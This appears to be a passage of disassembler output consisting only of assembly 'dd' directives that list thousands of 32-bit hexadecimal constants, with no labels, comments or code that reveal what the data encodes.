dd 0EC50E471h, 77B1AEDDh, 8E2335F4h, 0C3532A09h, 0F295A01Ch
dd 70D7BADEh, 9D21B16Eh, 1216EE4Bh, 778D497h, 0A53C3A17h
dd 0EDE0B7C0h, 0F0DF83DAh, 0F81FD848h, 0C1B3F22Ch, 0B3F90AD7h
dd 82EDCE53h, 6D971EB6h, 10C3A4D6h, 3DDD516Dh, 8902A58h
dd 0FC6FEE64h, 65F2E75Ah, 0C07E07B5h, 43ECFBC2h, 718C9E18h
dd 7E70BFADh, 0ABC3C28h, 0EDE071FEh, 0B876AA87h, 78D0B4ECh
dd 3785CEB5h, 78D1573Fh, 564A0B5Dh, 1F82E8E5h, 7751D0E8h
dd 3E586686h, 0B8EC34C2h, 5BB66D32h, 9FE38920h, 8FA5B19Ah
dd 42AD0DACh, 0C6F8AB54h, 0F84557D2h, 9F64EA82h, 0C325ED03h
dd 0A79DF2CBh, 365D4D76h, 3AF44269h, 0FA184C8Bh, 3F855B47h
dd 23097922h, 7A85DF79h, 990FFFB3h, 58C05AF6h, 8E520140h
dd 0E64818D3h, 13BBDA31h, 483C420Eh, 0E95593CBh, 4F71043Ah
dd 0BA644AC1h, 0BBFD7B49h, 9886F114h, 3363376Fh, 26A3FE88h
dd 2885CC6Dh, 7926A7D8h, 3B89F3D1h, 9655D763h, 2AB8BE71h
dd 905F1162h, 3D285DCEh, 0B5EEF7A2h, 28B83FC8h, 8EBC298Ch
dd 69A81B1Fh, 8FEB9999h, 4CEBCD9Bh, 80B32E63h, 5B8FD8EAh
dd 0BB4867E7h, 664068B3h, 78DCE870h, 2A5A2024h, 0C4F74B2Bh
dd 5199335Dh, 0C8E0B07h, 0C90DFF76h, 3A37C50Eh, 0D1E6A891h
dd 0B43CC62h, 95DF7134h, 71601C99h, 0A3374BB7h, 1E658FF7h
dd 6A9C787h, 0C671E8B5h, 997D54C5h, 0B4B7762Ah, 17E15AECh
dd 676C57C4h, 0B59E1A8Fh, 0A45B8697h, 0C38DC091h, 0AD190AC7h
dd 23BDC1F1h, 4879C1F9h, 0B97F190Ah, 0A9875DEEh, 0AEC2A15Ah
dd 4A0FAB59h, 0F8AC3DBDh, 34F851E6h, 232329EEh, 64151EC2h
dd 7286C0C7h, 60DBC098h, 0C5BCBDA5h, 57B6F05Ah, 4A4DC4C2h
dd 11A0ED77h, 7997EED3h, 0B90536FBh, 0D77F2762h, 62184B99h
dd 44CA34Dh, 26E7048Dh, 0B5418C02h, 0E4736B19h, 503B766Dh
dd 0B00A1448h, 4CD9FD6Fh, 0C7D91002h, 1FBF0258h, 46764040h
dd 89D55F97h, 86FF99Dh
dd 1989D831h, 0E32396FEh, 0D23E4610h, 648C5327h, 0A3D575E9h
dd 940145A0h, 0CC2F612Eh, 0FD7253E6h, 55ECFD8Fh, 0C9211FA2h
dd 70FD2AA8h, 1260E9B3h, 0C23C5B49h, 6D4E0B5Dh, 95BC207Eh
dd 0F425134Ch, 0A7521BF0h, 8461C23Bh, 0DDB5D4A1h, 0E67CD20Dh
dd 6941EA2Ch, 81F86004h, 8B3FC75Ch, 0F51A0D53h, 99ABEF41h
dd 73D9BB79h, 138208E6h, 0CB74BC84h, 7E0D346Dh, 1A0D4BD0h
dd 2BAB18DAh, 7FD33E61h, 0CB202333h, 0BFA6C0A9h, 0AE588DD2h
dd 49A88A90h, 0B4F45452h, 808C5D9Eh, 0E46F49C8h, 28574FF3h
dd 0BA26B6D9h, 18EF083h, 5487305Dh, 4E414175h, 0C1B5D4E5h
dd 0D1D4523Bh, 6F574EFFh, 0C2B159Dh, 3EF108EDh, 0D1601F42h
dd 8B3B2FB3h, 0BB7A1674h, 0D2C38E04h, 0EBC5A8E3h, 0A4555BFAh
dd 9AD98B40h, 18C280E0h, 0DB22B9BCh, 0D9DF7334h, 336819B7h
dd 831BCB4Ch, 56E409C4h, 0F36D795Ah, 0AE01DC71h, 6E152DD6h
dd 0CE6F3EF1h, 28B22628h, 0FB374D4h, 0DC127518h, 6B6E9610h
dd 4A1777D5h, 0D0450CA5h, 50298608h, 0C9C814DEh, 0B57380ACh
dd 0C3091E60h, 0FF48425Ah, 9BFF4739h, 96917E6Ch, 0BD0DF9A9h
dd 0DB9D9463h, 1B0F986Ah, 9C8E2CC6h, 4606B450h, 67DF862Bh
dd 0D30F98FDh, 73C601DEh, 0D2F7539Bh, 92BBAC7Fh, 0C619CBFDh
dd 39600C8h, 70DE6AB6h, 0FFF4CC8Eh, 860D00AEh, 0F6C91ADDh
dd 0C9EA6DF1h, 7CDC2496h, 0BAF524CAh, 0B9447313h, 0EFD0944Ah
dd 5B679FAFh, 0A50B45F9h, 42D5990Ch, 80E921DFh, 403E8960h
dd 0E790F2D0h, 0F05C0CD7h, 0F949F0AFh, 9F925FEAh, 484842F1h
dd 7D1B0D13h, 4D462919h, 0D9771ED8h, 9ABBCABDh, 2187695Ch
dd 5AC5F65Bh, 0CF318FFBh, 24FCA1F4h, 0EE0355C3h, 0E2E50888h
dd 7FEC6C3Ah, 3BC9D70Ah, 0E6630621h, 0B384F8A0h, 9765F884h
dd 3E40F6ADh, 0F00E7040h, 0DD420005h, 4CDB84E8h, 0AA85F80h
dd 8D2DCB8Eh, 0FCCB7B15h, 6CB4E26Ah, 847B3AB8h, 536F3158h
dd 1A49EEA0h, 0B49CCA14h, 9C1306A4h, 973D05EFh, 3483E39Fh
dd 0E451789Ah, 7EFC19FDh, 28BCDD99h, 0D391EC5Ah, 24434AC0h
dd 734C37BBh, 6BCAEF63h, 2A4996B9h, 0A84AE8C9h, 5D5DBE69h
dd 44E81B97h, 0D14BCC24h, 0CA98A708h, 6CD0AE5Dh, 0FDE05E1Bh
dd 0F321075Eh, 0F8305F38h, 0C1D8A2BBh, 136E4BB1h, 0B255AE3Fh
dd 73F19C53h, 5AD29330h, 0F7EE290Ch, 0F57BE26Bh, 35AD6A01h
dd 4D1F492Ch, 0D0D8C60Ah, 29F87BFFh, 0F4F00C9Eh, 0C3853CF3h
dd 16195C53h, 0A8DD84A7h, 5FD9BE57h, 0AB71F7C1h, 3D081664h
dd 59842DB4h, 0BF740E9Ah, 79515EC6h, 0D02DB346h, 4D83BD9Fh
dd 61C1CEFAh, 0F44B1B77h, 304DB306h, 0D530B792h, 0A8506850h
dd 0FA43290Eh, 5A7AB17h, 0CD90A84Ch, 61937E6Dh, 0E790BC13h
dd 6F0F15FAh, 0CA5D55A2h, 0A76F444Ah, 79DA9AD3h, 9064A3DAh
dd 0EAF30090h, 0DE65D754h, 2A31D5DCh, 0FC27ED0Dh, 3F19EF5Fh
dd 91627771h, 0A14F4B10h, 70A47722h, 0B617E4DDh, 4506B690h
dd 0DA587880h, 0E419B282h, 2FBAE8Bh, 6AA77DF4h, 0E43FF144h
dd 62AE5976h, 25B7CBDCh, 811B4521h, 47FAC8B1h, 0CAB75247h
dd 7192B4D1h, 88334C73h, 8DAA5F20h, 0F4E85873h, 33278469h
dd 6B03936Fh, 0CCAAE936h, 7162F554h, 0E2075365h, 0F7E4D8BCh
dd 0AE657350h, 6F90A24h, 0A1880923h, 0E1E21BFEh, 0FEFA0381h
dd 0E64471BDh, 5D808484h, 0E5EBCC8h, 0C1D4D4E3h, 2858FFCDh
dd 0E635002Dh, 0BC8BB300h, 57A3E03Bh, 0AA41EF4Eh, 97BB8378h
dd 415B4455h, 0EF5AF9A5h, 6E165627h, 0AF320B0Fh, 92292A60h
dd 90841302h, 0EBE302DCh, 0B72FFDC0h, 2FCCB83Bh, 0F3F0DFC6h
dd 0C6591A17h, 3C62EF2Dh, 32293A8Fh, 406D54B9h, 0BE916A06h
dd 7D64DB0Eh, 26DE1B15h, 179DA21Eh, 0EDAB1855h, 86B70354h
dd 0BE2CCAE4h, 0B9E895AEh, 163189B7h, 5961CD1Fh, 3C499B08h
dd 0E0A9D859h, 0FC120B70h, 86BBF433h, 9DDF6396h, 8FB5A69Fh
dd 74C33F09h, 0E71A4150h, 36DBFF8Ah, 95AFA373h, 7363E6BBh
dd 71162760h, 63EA23CAh, 1FD6F59Ah, 8D2A8D21h, 3C192214h
dd 0D2BAE021h, 71461A6Fh, 41533D1Ch, 834CFA40h, 441CE307h
dd 4D5854A6h, 0CA579DFAh, 6B4713D4h, 22B1AA71h, 1C281F1Dh
dd 0E5ABE631h, 0F299C7AFh, 5D90068Ah, 0F9BD99CAh, 419861DFh
dd 976BFDB7h, 0F0B40E75h, 4627BF16h, 604E1916h, 0C2EB8529h
dd 505DA40h, 0B3C9B20Ch, 550A12FBh, 112BDC84h, 0E4FBF35Eh
dd 0FD08FBBFh, 0E1BF3389h, 0B9401150h, 3CFFD19Eh, 0F74304EFh
dd 83765CE4h, 0EEE5A36Dh, 4C33BA36h, 0C7F35CFDh, 0E2F6F08Dh
dd 0AB616FBDh, 0C8C461E6h, 0E3B07D73h, 30BF6542h, 0D6C3AAF7h
dd 501DB105h, 0F98263C7h, 6D59ACDDh, 1BD8B61Dh, 0CF342A4Ch
dd 0DBF4279Dh, 5986893Fh, 0D9CD8F56h, 83C32105h, 0C8769B3Dh
dd 0B1384387h, 0D0FDD461h, 0A54E5A7Fh, 0AA9DA690h, 0D5A50871h
dd 7451DEDCh, 9F80F2D8h, 7ACB2871h, 86707383h, 0F806459Bh
dd 743B9173h, 82866722h, 0FCEFF82Ah, 4A31ECB5h, 1C50EE69h
dd 61A51CC5h, 0A8C4E188h, 7B3AAB8Fh, 0C61B2686h, 403B177Ah
dd 38C6E656h, 0D7714C84h, 320D6BE1h, 99E1441Fh, 44482622h
dd 59CBFD74h, 8855F753h, 5C0EA13Bh, 236E4886h, 0F89F91Eh
dd 4EEC99Ch, 3B4640D4h, 18A9E627h, 59775088h, 850EA412h
dd 0A7E66399h, 46E3865Bh, 0ABA3F049h, 63F21E10h, 0CAFD4ADEh
dd 2D89B39Eh, 165755DDh, 0C887C217h, 80EEDA48h, 0CCCD3BF7h
dd 0F5F97383h, 0C57C50B6h, 0A6993640h, 1C7C725Fh, 149F3851h
dd 2B28416Fh, 0E0D4F9A4h, 0CF11B400h, 4496960Eh, 0B8B78587h
dd 84139F0Dh, 99AD03D1h, 61960BE3h, 7A3C379Dh, 6D3024h
dd 0DDEC0032h, 3C2C3495h, 0D8A6AA07h, 8C14DE6h, 83816E5Bh
dd 63BAABEDh, 0C5664D42h, 330AA1E3h, 65CDB45h, 0E2F2D625h
dd 0F202A127h, 8B5D56FFh, 3F51A9CCh, 333C8Bh, 892AD848h
dd 0EA96310Bh, 43E32C83h, 0FBC3B0FBh, 0EF329C00h, 99748E5Eh
dd 0BE2EE1F1h, 0D9C94F1h, 21883218h, 0FFEC5656h, 9DC76A58h
dd 9945B128h, 0A6EA1440h, 46ACDAF0h, 7B52CCB9h, 3C9E10FCh
dd 3D4C1B85h, 19A2E167h, 6D9C302Eh, 2DF80FF0h, 0FAB1C7D0h
dd 34366ECh, 3C07F98Ch, 62B62653h, 0FD6713h, 0B3D0D54Dh
dd 25DB0C1Bh, 958FC67Fh, 602D976Eh, 4D15E355h, 83B1F9E1h
dd 1639D305h, 0B3458EB7h, 0EB4EB2CFh, 1BEA7908h, 0FA30724Ah
dd 0CCCF144Fh, 0BE7A96F5h, 5A39871Fh, 0AF211C30h, 0A34A9181h
dd 0D338F323h, 4B43D7A6h, 8C62F398h, 0CC9C8340h, 790D8AB2h
dd 0E7F6715h, 643FA81h, 7D25936Ah, 0A52BB512h, 0F8C0137Fh
dd 4BE8253Bh, 2BA8CD9Ah, 13293CB2h, 2EA5C951h, 3EA952D9h
dd 264B6152h, 0B84582B7h, 0A93BF84Bh, 953AC091h, 4DDAFDD1h
dd 0CCED1B0Eh, 0C663E941h, 7F418D7Ch, 2AB29493h, 3C7DAD51h
dd 0F0DD4FB2h, 0CB92B968h, 0D8FFE1A9h, 0F73F6C40h, 0C05665ACh
dd 9B5C6ADDh, 0B795593Fh, 45F7AA07h, 3271780Dh, 0EA17D7E3h
dd 5D64113Ch, 19D8B4A3h, 0EB2E5969h, 911BFD44h, 90F1BF5Fh
dd 213AEC8Dh, 800403B5h, 0E2BCD45Dh, 0AFA2F024h, 0A888E65Eh
dd 0FDFB50FFh, 616D6C9Fh, 0E5EABAD8h, 9CCF565Fh, 37A97FC0h
dd 9A52014Bh, 8A857B70h, 0F1461BF4h, 96826A7Ah, 0AA2B6245h
dd 0A2981716h, 82D1AC03h, 0F5BD7A4Eh, 65CE05E3h, 10AAB2FEh
dd 2087DE86h, 0B61600C6h, 62394F18h, 0FF0211FBh, 1EB22139h
dd 9F8406C0h, 0EB8663C0h
dd 633A9583h, 787C365Dh, 7E23136Bh, 0B2D5A066h, 0A4FA88F1h
dd 3107BCE5h, 0DD31E887h, 5364322Ch, 2EE914BFh, 8A35A8FBh
dd 67855626h, 20145EBAh, 0F5836CE6h, 0B53B67B0h, 78314784h
dd 7AE2B1D1h, 3D1B556Ch, 60606CEh, 0BA3151FFh, 3541B989h
dd 8074C21Fh, 1923A3A6h, 328D0896h, 9B3C5756h, 9565BAF3h
dd 8B3C8986h, 0BDD3415Dh, 0DC33619Dh, 8F5BEE26h, 0BBB94146h
dd 551CBCE3h, 0FAAA1FADh, 2FF612A7h, 6DB306C3h, 0B314BEA6h
dd 0CD2FB108h, 90D882E4h, 5DDF02CBh, 0EF65F369h, 173E23A9h
dd 0EF1C3E53h, 1FF1B7D9h, 44F318FBh, 5EAFCBA4h, 3ADD589Fh
dd 15DBDBA3h, 8F0E216Dh, 1E0F83Fh, 82DE0C93h, 6E64A2B0h
dd 80F5B1E4h, 386DBE68h, 0AE9917C3h, 0BEC351A2h, 0BF3AD50Ah
dd 77E0C957h, 0B54E5388h, 9F381CA4h, 0ECD93564h, 0CA061B99h
dd 0D8D1ED2Ch, 0D535254Fh, 200E036Ch, 70B38D3Eh, 617F95C9h
dd 45FF22BCh, 5E3761B3h, 67D4EC84h, 0B444923Fh, 3AD5520Ah
dd 0D3128150h, 0AB4597A1h, 51186CE2h, 0CD796E05h, 232883FBh
dd 7B86B542h, 59DCDA4Dh, 31933DCCh, 2791F9B5h, 6C8965CBh
dd 725A5B5Eh, 1A28C879h, 778A7C79h, 46DB8C50h, 72314BE8h
dd 321C2EB8h, 7D0A73AEh, 0E27BC488h, 922FE4F8h, 8C824A31h
dd 0D8BEB294h, 0C1177493h, 9FDBAB4Ah, 0E0F0BABEh, 0F30D5195h
dd 86E0CAh, 8399282Ch, 77362CF0h, 207B4352h, 3611DF8Eh
dd 3AA47773h, 0F5DBFE88h, 8839716h, 0D550A41h, 9475B602h
dd 0B44BE488h, 788E7FA5h, 41425C5Ah, 984D2963h, 0DC38BCF3h
dd 0BF8084E5h, 13D191CEh, 1AE23FABh, 0AF503611h, 28F50014h
dd 2AEC4D3Eh, 0B7D59FDDh, 3CEF796h, 9DDB9B9Ah, 0EAFC45E9h
dd 440FC3A1h, 0E170906Ch, 72D3849Fh, 35EFADAFh, 0E69469D0h
dd 0FEDBD558h, 9BFE47B5h, 9A34C488h, 20A67D4h, 0E87824ADh
dd 8A5E4ECh, 0E60CE802h, 0DA865622h, 256F894Dh, 0D2812B82h
dd 6E249437h, 0E3CE3D2Ch, 0FB1D24B5h, 0DBC8BBF3h, 3A58B2A3h
dd 3A63F0D7h, 981BD7A9h, 2FC0C221h, 5DDC97B2h, 8B4A167Bh
dd 0E39B4DA3h, 7A89DE85h, 0BE9C83Fh, 0AC23B39Ah, 0BE89E31Ah
dd 3B1A1C19h, 0B3087C9Eh, 0A34D2AFAh, 68453CD6h, 0B126D1Fh
dd 0BC871ED5h, 0D95A9F60h, 6C77DBA2h, 2A422CB8h, 8FC37590h
dd 0D4729266h, 76ADB5F9h, 0C7841B57h, 0D64B4C06h, 9956D7D1h
dd 0B876B1A0h, 0EDA6D3A8h, 7214F995h, 6AB9CB77h, 4DC023C7h
dd 8184DEBEh, 154E949Bh, 487BBCF2h, 799C0D6h, 0EACD4A92h
dd 662D64DEh, 0E83DC0C8h, 730EC77Ch, 7011421Dh, 8863AFD3h
dd 450E524Fh, 2420D3D4h, 9481D9B3h, 0CFEB811Bh, 5FFD3FADh
dd 428AE5B4h, 0D694285Bh, 1B9AE1D0h, 9428C1C5h, 0FDF6A339h
dd 246749Fh, 142D5C3h, 812863BDh, 8F4FC0FCh, 0BCC838F8h
dd 4CD90146h, 5764A6A1h, 0AF7DCF9Eh, 0CB48CEE2h, 0D313A84Fh
dd 0A49A128Fh, 56155D79h, 49F5401h, 0C8830644h, 0D55AFDF5h
dd 81EEC929h, 0C2876073h, 0A331D163h, 0F0673E86h, 3802DDCBh
dd 0F2544B01h, 0E8DF79C3h, 0DD81A67Bh, 5B5FA09Eh, 0F26C0EEEh
dd 93CB6AD9h, 74328056h, 35264D63h, 0AE6CBF47h, 507FAEF5h
dd 7EFD081Bh, 3A521165h, 0FE1C7444h, 4E51B818h, 1EB14ABh
dd 7559B505h, 0B6AC935Eh, 0ED960307h, 50EBCABFh, 0EB256293h
dd 19125AA2h, 99E05AEEh, 0B4F47C86h, 93D2F4DEh, 9A2F6C00h
dd 1B36AD60h, 60221A3h, 1983E8ECh, 0DF364F63h, 3E9DF975h
dd 0C4863005h, 81F0477Ah, 0C011A136h, 642E8571h, 4DA53D85h
dd 0F2EDA2D4h, 0C271E75Dh, 0E76EE92Ch, 2744712Ah, 65D62178h
dd 0DDBEBBF6h, 0F36E5720h, 0D33C1028h, 30C4CEA0h, 0D560FF5Ah
dd 2CCBEEECh, 0EFBEE29Bh, 0C4DFCA75h, 0BCB76821h, 0A5D393A4h
dd 5DA2063h, 3289F261h, 6F319FE3h, 0AAF31B0Ah, 427CA562h
dd 4C5DCCA3h, 8ECBF4FFh, 0E6C063D6h, 0BF1BFCC3h, 94D97802h
dd 0C2DA0035h, 0AC2D95E6h, 1BE6ADC1h, 9136CF7Ch, 0DEB5BF55h
dd 7BC10F23h, 1AC445A7h, 58165FC1h, 0EF7B5A8Eh, 584046D5h
dd 72CD2687h, 0DD92F734h, 270CCE43h, 0D29E4ADBh, 0AA3D9077h
dd 0F7922910h, 926771D1h, 0A0A774FAh, 38CC7BF5h, 0C21804E1h
dd 5F7E68E3h, 21AD8DFCh, 0E6602CC4h, 594ADB15h, 0D5DEE124h
dd 0C8EB5BA3h, 434B2B18h, 2A199B04h, 43D52022h, 0D747B03h
dd 0F18188B9h, 227666D1h, 2F4D24D4h, 32A3C617h, 4390E336h
dd 45A7BF5h, 97FDF490h, 40777C33h, 893B5FE8h, 980C1013h
dd 8A436CC8h, 0DCA6F218h, 5038B059h, 95C5F4C2h, 18E7C789h
dd 0D5FFCB77h, 0B9D4A9ACh, 4F3362CBh, 58986AF3h, 96D09512h
dd 7E113CE8h, 8DF1962Ch, 0A4BAA05Eh, 6D5E2A3h, 0DF80EC0Dh
dd 8051342Eh, 5FF2AC35h, 0DF101F00h, 0FC6FE90Ch, 4DE23771h
dd 50A93747h, 0C67EB443h, 0B3613EA2h, 176600FEh, 0C3F0870Bh
dd 0C4042F4Ah, 0E499C880h, 43696791h, 31483236h, 0E800A053h
dd 91DC2EBh, 0FDC75EEDh, 13B80843h, 69B2B4Ch, 0C9F995D8h
dd 0BF7D9AF5h, 0C942F0B7h, 0D8041162h, 97367498h, 8787525Fh
dd 3A09C664h, 0F3CD48BFh, 2A512D25h, 0D432B277h, 0D581C418h
dd 8AD16DF2h, 174BD7B8h, 0BD90439Bh, 48EBF8F6h, 54C38578h
dd 0A9799F2Bh, 0DB52FC7Ch, 54E2706Dh, 0F8F586AEh, 225CE844h
dd 0F5D5A6C1h, 8703CCB1h, 2696E69h, 9AB80D27h, 8E3CEB7Ch
dd 7F5B83D3h, 334A7A7Fh, 339F5ACEh, 5662D2E2h, 2CA64Ah
dd 0E66B4FAEh, 5B395A3h, 8CEADABCh, 0D7756A69h, 21AE2288h
dd 660B811Bh, 0D4E47264h, 0BE7A8743h, 4060AFB1h, 4C41EFBDh
dd 0F2CF5746h, 299E581Fh, 2136FC8Bh, 0A68D86F9h, 1BBA6436h
dd 0D8064AB4h, 0FE8B9710h, 574CC327h, 0D9B66C42h, 0D9C866CDh
dd 59A95090h, 608D6CCEh, 0F55AFD39h, 0F2937841h, 353142BCh
dd 65C0C296h, 0E69C5BB4h, 6007EF03h, 950E266Dh, 3918857Eh
dd 0E0F55B03h, 33C464DDh, 0D601AE13h, 0A16CBD15h, 1AABDAD2h
dd 4828466Ch, 0DF0486DFh, 0A8601A3Ah, 8BFB7CA0h, 0D41354Fh
dd 96E3EF68h, 2F5A266Bh, 0ED0ACA29h, 0F99FA4EDh, 0CA10309h
dd 0BF644282h, 817619D8h, 96B56B9Ah, 1C07784Ah, 0A056E6BAh
dd 0ADD7E11Ah, 7AB1EFA6h, 0F7049AE2h, 0C3F668C1h, 861C3AA5h
dd 61CD763Bh, 7814F25Ch, 0A84BBCDAh, 0F0E52991h, 528509ECh
dd 0F21D5720h, 7E08C4AFh, 0EA03E1DBh, 0B4F2046Ch, 0FDC44DF1h
dd 0DF4AC321h, 10379560h, 1D59B303h, 819A34C2h, 875CE727h
dd 719D87E7h, 39737F9h, 0A9CB8CFDh, 2D917394h, 0B866F164h
dd 0EC232E97h, 0CC2AA4E2h, 4C7A42E9h, 2EBF6528h, 2964F1F0h
dd 93F7F0EDh, 6986ABC7h, 2E46CFF2h, 1174C3E8h, 0FAED41F4h
dd 0E0A94786h, 0C5390876h, 5A799214h, 4B46D2C8h, 0D94BDBE4h
dd 0CC61AECh, 1E290CE7h, 9157DD4h, 0B1FA2347h, 3C68BD6Dh
dd 2263CC0h, 3D7F0B34h, 72540927h, 57F4637Dh, 0B60F5B2Dh
dd 0A1972A7h, 0F6D98437h, 0CAB05C88h, 5A14F00Ch, 0B08F8857h
dd 75D0731Eh, 2B6B67BAh, 0B4D3DD15h, 444A2BCBh, 89C4412Bh
dd 9A2D25CAh, 53E68212h, 9AA76D1Dh, 30DD3A6Ch, 976A188Fh
dd 0C1C96651h, 0F1AE2FFBh, 0BBEE209Ah, 1E55F820h, 89031D00h
dd 0A0A28671h, 0D8747B3Ch, 8486719Ah, 0DD127301h, 28667280h
dd 828A78F9h, 7C7AED8Bh, 74DE0DD9h, 2C4F6B83h, 2459C4D9h
dd 0A431A33Ch, 0D390C15Eh, 24BE62D4h, 0BAF01902h, 0D086C18Eh
dd 0EB576Ah, 19813E63h
dd 0A7D48154h, 0DA1E2941h, 0A78FB75Ah, 3E5B94EAh, 38F67CC9h
dd 2AAB3931h, 0D305B938h, 0CF6A0016h, 0AB6F2C61h, 8391A642h
dd 46C41287h, 0BAADEFFCh, 2D787AD5h, 0EAF52D50h, 2AB455DFh
dd 0B12E3434h, 350A70F6h, 0DFD5EB9Bh, 0C0FA03B3h, 1AD2859Ch
dd 111A2752h, 5657AFF5h, 0DCC0C910h, 377ADCCEh, 2B0E5BD7h
dd 75AC70BBh, 13DC3E4Ah, 0EAFC37D6h, 0AE88784Ch, 328C3DB7h
dd 4697D61Ch, 5890CBDFh, 0B6105D3h, 0F677E5F7h, 3EF3927Fh
dd 188D86CFh, 7910C0A1h, 1472D473h, 63488761h, 1C91A0CCh
dd 24470ACBh, 1E0945D4h, 1ECE5BB5h, 1CF25AFCh, 0DBA3099Ah
dd 331E577Ch, 80151E11h, 0D02D4629h, 6F349EB3h, 6C609231h
dd 59CA1DD4h, 54463BB4h, 91E286A9h, 67B8CEDDh, 40753113h
dd 162B321Fh, 236A363Ah, 0A1EFB69Bh, 0ACC6B77Bh, 0D3094DF7h
dd 561803DFh, 5503F29Ah, 0A30BF6AEh, 6705A8BAh, 13C5A369h
dd 0A6F2FABDh, 0B46D8D40h, 9BD265F8h, 0A9C1F595h, 8F8DDB86h
dd 141D5ED6h, 0ECE7E232h, 0F3EFCA67h, 0D745A879h, 0DEF6C2E1h
dd 20F80F63h, 0B45FFE19h, 0EA6C0h, 0AA7CBD64h, 0B82BBF9Ah
dd 0B3ABE0BAh, 9B985275h, 960998F4h, 7FC31DCDh, 7EC92DE5h
dd 5F38F7C3h, 0A9B1DE34h, 62B07362h, 0FE521483h, 0F2DA91F3h
dd 70ADA61Bh, 72CCA32Bh, 0F3FD8319h, 0CA64F13Fh, 0B4DB688Eh
dd 17A7E7D5h, 506C8A2Eh, 207622F7h, 0BBF65E76h, 8937E5AAh
dd 0F7B7088Ah, 394D9A21h, 0DF0A2930h, 866CBDB8h, 3933AB7Bh
dd 0D496C539h, 0EF3256D1h, 0F6DB1F0Fh, 320DE331h, 1A67C7ACh
dd 2346AC1Fh, 0E485BD0Bh, 17AD7191h, 0D9604672h, 0B2FB2FDEh
dd 393D4A13h, 3A353999h, 15328EE1h, 5B16040h, 89CD0F74h
dd 0D5D34693h, 71D3C022h, 0D7D7D0E0h, 39F36325h, 256998D1h
dd 0C2F7ED7h, 5797BE40h, 0C726D83Bh, 0CB50CC88h, 0FEA90AD2h
dd 8BC9CFBh, 5B0B3CB1h, 192E89EBh, 43FDC849h, 0BB5B3E4Ch
dd 8DAC531Dh, 488F1019h, 0DAFA7AA0h, 0FA518038h, 0EBFE1EF9h
dd 0BC91E092h, 60D4397Eh, 5DAF7443h, 21292F5h, 409D4EFDh
dd 0FA979A8Ch, 0FA1DAC35h, 3F103973h, 0FA56E528h, 0D562551Bh
dd 53E48F2Eh, 83CEEF77h, 6AF0E37Eh, 74964A2Dh, 0A16EE3F4h
dd 8C604848h, 640C0019h, 0B3FD681Ch, 7E9B7D67h, 997F70D5h
dd 33BFB710h, 7338E0D5h, 43C5959Dh, 6702FDD8h, 99AED4Dh
dd 97E91E12h, 75C3198h, 0AA1F7F05h, 52198Bh, 8DDEDAFDh
dd 0E49307D8h, 0B776D9E2h, 75D9B642h, 266498E7h, 48884993h
dd 0D938278Fh, 0A789E576h, 0D944DF42h, 6623BC7Fh, 0CEFCA640h
dd 0C6A37492h, 722D0447h, 658E70FDh, 1CE4595h, 933D5B67h
dd 4EB6B23Ch, 0F61FBA44h, 81CDC408h, 2F11445Dh, 8CD4C39Ch
dd 94E9D9D6h, 3F3AFBC1h, 0F5B45E94h, 321DC7CFh, 0C15C579Dh
dd 95B9A9BAh, 7220A421h, 126D7E30h, 0C4F75E9Fh, 0B829F135h
dd 8A36ABCBh, 0C1ACBABCh, 20506448h, 0D8260F9Bh, 23C8A98Fh
dd 0CE70E53Bh, 6BD04D7Eh, 3C0D69F6h, 0D1AC8E96h, 782781CCh
dd 0CB01B82Fh, 184C1233h, 4E90BCF3h, 0A9FF71BDh, 45D2DDFAh
dd 82E71418h, 120A8506h, 0D3971425h, 9B098B8Ch, 5AAD06D3h
dd 0CABDB4D6h, 0DEE4176Dh, 889F536h, 25AA790Bh, 62ECC3C2h
dd 371BEBEBh, 2CEB222Ah, 0A5E1C016h, 0F3D5993Ah, 968272E7h
dd 0F177640Ah, 9F34B72Ch, 199C3979h, 13FABD69h, 4EF829F5h
dd 6C7C9B60h, 0AA944A95h, 7190C557h, 0BB6766C7h, 69806A59h
dd 0C382803Ch, 871D3FF1h, 7B979F5Bh, 73B44395h, 3CF6EBAh
dd 4013716h, 7D1F6BAAh, 5FB25910h, 0F9F3A5A8h, 1CD28854h
dd 4C76D061h, 66CA4F0Eh, 0BFD06F2Bh, 883BBC6Ch, 0FF73141Ch
dd 8E1DDA12h, 0E2E6E100h, 16C69C6Bh, 0F596A96Bh, 4E85A147h
dd 0C13C98ECh, 7398D733h, 0D4EA11E8h, 0BAFE5F4Ah, 4912EA0Dh
dd 44454A3Eh, 4D88BDAFh, 5B3E3C33h, 0C8E14C77h, 595FCD7Dh
dd 6BE51168h, 16A665B5h, 9B3E42B3h, 3678CC4h, 0D5181B90h
dd 71D34F1Fh, 3B1A3996h, 0C1BFC93Dh, 0D3AA92D7h, 400A1D42h
dd 0D2E89D9Fh, 6E1BEB20h, 2D1CB5E0h, 32243BC8h, 81F819AFh
dd 3205E863h, 5CFDCB02h, 0AFF6A0B0h, 27542096h, 7FB9213Ch
dd 698748F3h, 87135272h, 13D36A5Eh, 0E24BFE66h, 132928B9h
dd 51A475B1h, 0DB58A32Ch, 16049828h, 0FC39B228h, 566F12C3h
dd 5A73A39h, 0B16B103Fh, 7C551861h, 93FE63C7h, 78AC1490h
dd 3BA45AFh, 0BBAE7CF9h, 0FEA0CE93h, 53A3E903h, 0E528BE22h
dd 8D6AD080h, 3EB456B0h, 41FC1E73h, 0C2541BE3h, 83C83E3Eh
dd 0BDDA8B8Eh, 9FE17189h, 7FD37A5Eh, 300CCE39h, 985FD22Ch
dd 4EEA2A81h, 23821B77h, 7E7C11C4h, 1B879EB6h, 0C0F6D8F5h
dd 59D6F3F5h, 9107A404h, 0E77A2CB9h, 7F75DF8Ch, 31DD3F26h
dd 0D99476D9h, 365C4B08h, 0C8272779h, 0BA8A5E2Eh, 24E3BBFCh
dd 45D841CEh, 945662FBh, 0DF089EFBh, 0C7D05371h, 278F886Dh
dd 0B73B8110h, 0C2C68ADEh, 25D9E46Ch, 275DDD3Bh, 6C8B8CE1h
dd 3AFDF1D5h, 47A95FBBh, 65FE0871h, 19111654h, 0C47A0992h
dd 0AC12AFE8h, 44EADB62h, 31EE8805h, 0DB061A01h, 0ACB17BF7h
dd 0BD15A76Eh, 3371A5Dh, 0A3FE421Ch, 0B899BCFEh, 0B5B4D342h
dd 0BF11D8BCh, 62B47285h, 7C80BED2h, 0DE9F7711h, 90AB5979h
dd 0E08B0BBBh, 5A8D013Ah, 9DD60439h, 0F1FA3DC7h, 0BFD5AD41h
dd 0B701BCA7h, 0D32069DDh, 0F976B324h, 990FCB88h, 1B101A2Fh
dd 0E10977Fh, 9639B524h, 0E48A81A3h, 6F45C23Bh, 0CE2F54DCh
dd 2F416159h, 6217FB66h, 85FAA535h, 0A1CE592Dh, 5D50814Eh
